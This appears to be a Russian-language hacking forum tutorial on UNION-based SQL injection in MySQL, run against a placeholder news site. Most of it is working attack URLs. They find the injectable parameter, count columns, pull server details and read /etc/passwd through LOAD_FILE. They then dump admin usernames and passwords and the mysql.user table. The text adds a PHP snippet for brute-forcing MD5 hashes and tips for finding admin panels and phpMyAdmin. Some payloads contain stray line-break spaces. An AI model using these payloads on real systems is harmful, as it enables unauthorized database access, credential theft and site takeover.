1. Поиск инъекции.
Для тренировки, у нас будет сайт www.test_wx_.ru.
Поиск проходит по принципу замены параметров, если нет фильтра то инъекция пройдёт. Наш сайт www.test_wx.ru/news.php?id=212
Изменяем параметр для выявления инъекции.
www.test_wx.ru/news.php?id=-1
www.test_wx.ru/news.php?id=666666666666666666
www.test_wx.ru/news.php?id=212'
www.test_wx.ru/news.php?id=212-1
www.test_wx.ru/news.php?id=0=null
Если вы увидите ошибку сервера, например как эту "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1" или на подобии, то уязвимость существует.
2. Подбор полей.
Подбор полей третий по важности этап, для более быстрого подбора я использую order by, сейчас всё рассмотрим.
Найденная уязвимость www.test_wx.ru/news.php?id=212'
www.test_wx.ru/news.php?id=212+order+by+10--
или
www.test_wx.ru/news.php?id=212+order+by+10/*
Если столбцов меньше 10 то будет ошибка, таким образом быстрее всего подбирать столбцы, если их по 25))
Если есть фильтр, то можно так:
www.test_wx.ru/news.php?id=212 order by 10/*
Допустим у нас 5 столбцов, и при верхнем запросы выдаёт ошибку, то продолжаем подбор.
www.test_wx.ru/news.php?id=212+order+by+8--
Опять ошибка…
www.test_wx.ru/news.php?id=212+order+by+6--
Теперь нет ошибки, так как столбцов 5, то есть меньше 6.
Нам известно сколько столбцов, теперь используем union select, для поучения данных.
В конце мы ставим -- или /*, для того чтобы закомментировать последующий код, который нам не нужен.
www.test_wx.ru/news.php?id=212+union+select+1,2,3, 4,5--
1,2,3,4,5 это идёт пересчёт наших столбцов и заполнение их новыми данными.
По идеи если это не слепая инъекция то мы должны увидеть наши цифры на странице, если на странице много цифр типа 1,2,3... То можно ужесточить .
www.test_wx.ru/news.php?id=212+union+select+1111,2 222,3333,4444,5555--
Так мы быстрее увидим их, или так:
www.test_wx.ru/news.php?id=212+union+select+null,n ull,null,null,null--
Так, нам известна SQL уязвимость www.test_wx.ru/news.php?id=212', нам известно что там 5 столбцов.
3. Получение данных.
Например при таком запросе www.test_wx.ru/news.php?id=212+union+select+1111,2 222,3333,4444,5555--, вы видите на странице наши цифры 3333, теперь можно вместо них увидеть полезные данные.
www.test_wx.ru/news.php?id=212+union+select+1111,2 222,version(),4444,5555--
version() Выводит версию mysql сервера.
www.test_wx.ru/news.php?id=212+union+select+1111,2 222,database(),4444,5555--
database() Выводит название текущей БД.
www.test_wx.ru/news.php?id=212+union+select+1111,2 222,USER(),4444,5555--
USER() Выводит имя текущего пользователя mysql.
www.test_wx.ru/news.php?id=212+union+select+1111,2 222,SESSION_USER(),4444,5555--
SESSION_USER() синоним USER().
www.test_wx.ru/news.php?id=212+union+select+1111,2 222,SYSTEM_USER(),4444,5555--
SYSTEM_USER() синоним USER().
www.test_wx.ru/news.php?id=212+union+select+1111,2 222,LAST_INSERT_ID(),4444,5555--
LAST_INSERT_ID() Значение AUTOINCREMENT колонки для последнего INSERT.
www.test_wx.ru/news.php?id=212+union+select+1111,2 222,LOAD_FILE('/etc/passwd'),4444,5555--
LOAD_FILE('/etc/passwd') Выводит указанный файл, только если права file_priv, и работает вроде только на win.
Так же рекомендую вам использовать функции из SQl concat(), или concat_ws(), они нужны для объединения строк.
Пример concat(version(),0x3a,database(),0x3a,user())
Выводит нечто похожее на 5.2.6:admin_cms:lolka
0x3a это двоеточие ":".
Давайте эту функции используем в нашем запросе.
www.test_wx.ru/news.php?id=212+union+select+1111,2 222,concat(version(),0x3a,database(),0x3a,user()), 4444,5555--
И мы видим теперь вместо одной версии, написано так же название БД и имя пользователя.
4. Подбор таблицы.
Это второй этап по важности.
Можно использовать словари, можно программы для авто перебора, но лучше ручками
Наш последний запрос www.test_wx.ru/news.php?id=212+union+select+1111,2 222,USER(),4444,5555--.
Будем использовать from table1.
Нам не известна таблица, известна в случаях если это популярная cms которую можно скачать и посмотреть по умолчанию.
Пишем запрос:
www.test_wx.ru/news.php?id=212+union+select+1111,2 222,3333,4444,5555+from+table1--
Видим ошибку....
www.test_wx.ru/news.php?id=212+union+select+1111,2 222,3333,4444,5555+from+user--
Опять видим ошибку... но не отчаиваемся, продолжаем подбирать....
www.test_wx.ru/news.php?id=212+union+select+1111,2 222,3333,4444,5555+from+users--
www.test_wx.ru/news.php?id=212+union+select+1111,2 222,3333,4444,5555+from+User--
www.test_wx.ru/news.php?id=212+union+select+1111,2 222,3333,4444,5555+from+Users--
Так как у нас файл news.php, то конечно вероятней всего название таблицы news.
www.test_wx.ru/news.php?id=212+union+select+1111,2 222,3333,4444,5555+from+news--
Отлично!! Нам известна таблица news, но в ней нет важных данных для нас, поэтому мы остановимся на другом.
www.test_wx.ru/news.php?id=212+union+select+1111,2 222,3333,4444,5555+from+admins--
www.test_wx.ru/news.php?id=212+union+select+1111,2 222,3333,4444,5555+from+admin--
Всё мы нашли важную таблицу admin, теперь нам остаётся узнать названия столбцов.
Чисто логически, часто используются следующие имена : id,name,user,users,login,pass,passw,passwd,passwor d и т.д.
Подбираем так:
www.test_wx.ru/news.php?id=212+union+select+1111,2 222,user,4444,5555+from+admin--
Отлично, как не странно угадали сразу, видим имя администратора, продолжаем.
www.test_wx.ru/news.php?id=212+union+select+1111,2 222,password,4444,5555+from+admin--
Великолепно, теперь нам известен и пароль, давайте лучше с использованием функции concat.
www.test_wx.ru/news.php?id=212+union+select+1111,2 222,concat(user,0x3a,password),4444,5555+from+admi n--
И мы видим в удобной форме типа, garik:matrix.
Всё можно сказать всё сделано, инъекция найдена и прошла успешно, остаётся найти админку, ищите папки типа "admin/,aminka/,administrator/,admin.php,administr ator.php...."
Но нет, мы продолжим дальше
5. Взлом хэша.
Смотрим наш последний шаг,
www.test_wx.ru/news.php?id=212+union+select+1111,2 222,concat(user,0x3a,password),4444,5555+from+admi n--
И мы видим в удобной форме типа, garik:matrix.
Но может мы увидим нечто похожее на garik:63a9f0ea7bb98050796b649e85481845
После двоеточия, это хэш.
Хеш-функция(Hash) - функция, выполняющая одностороннее преобразование входных данных, называемое также хешированием. Хеш-функция подбирается так,
чтобы вероятность появления различных данных с одинаковым хешем стремилась к нулю, а восстановить данные по их хешу было как можно труднее;
Чаще всего вам придётся видеть такие популярные хэши как md5,mysql,mysql5.
В данный момент расшифровать их нереально, по крайне мере нам с вами
Вы можете найти массу софта для подбора хэша, например:
http://www.google.ru/search?hl=ru&cl...A&lr=&aq=f&oq=
Но для подбора вам нужны будут очень большие словари, которые вы найдёте тут http://webxakep.net/forum/showthread.php?t=5,
или используйте Rainbow таблицы.
Так же, воспользуйтесь поисковиком по он-лайн сервисам:
http://webxakep.ru/download_programm...mysql_hash.php
Все остальные сервисы тут http://webxakep.net/forum/showthread.php?t=427.
Можете так же на PHP написать свой брутфорс, но он значительно медленнее чем системный)), в PHP функция md5().
То есть у вас есть хэш "63a9f0ea7bb98050796b649e85481845", пишите код типа:
$s="63a9f0ea7bb98050796b649e85481845";
if ($s==md5("root"))
echo "O_O yes";
Только надо добавить словарь, и можно многопоточность.
Если вы так и не смогли подобрать хэш типа MySql, MySql5 и т.п, то вам сюда http://webxakep.net/forum/showthread.php?p=6065.
6. Завершение.
Так же будет полезно посмотреть на таблицу mysql.user и её столбцы User + Password + нужны права.
www.test_wx.ru/news.php?id=212+union+select+1,conc at(User,0x3a,Password),3,4,5,6,7,8,9,10,11,12+from +mysql.user--
Если на сервере есть phpmyadmin, что чаще всего, то поищите в местах типа "/phpmyadmin/,/myadmin/,phpmyadmin.test_wx.ru,myad min.test_wx.ru....."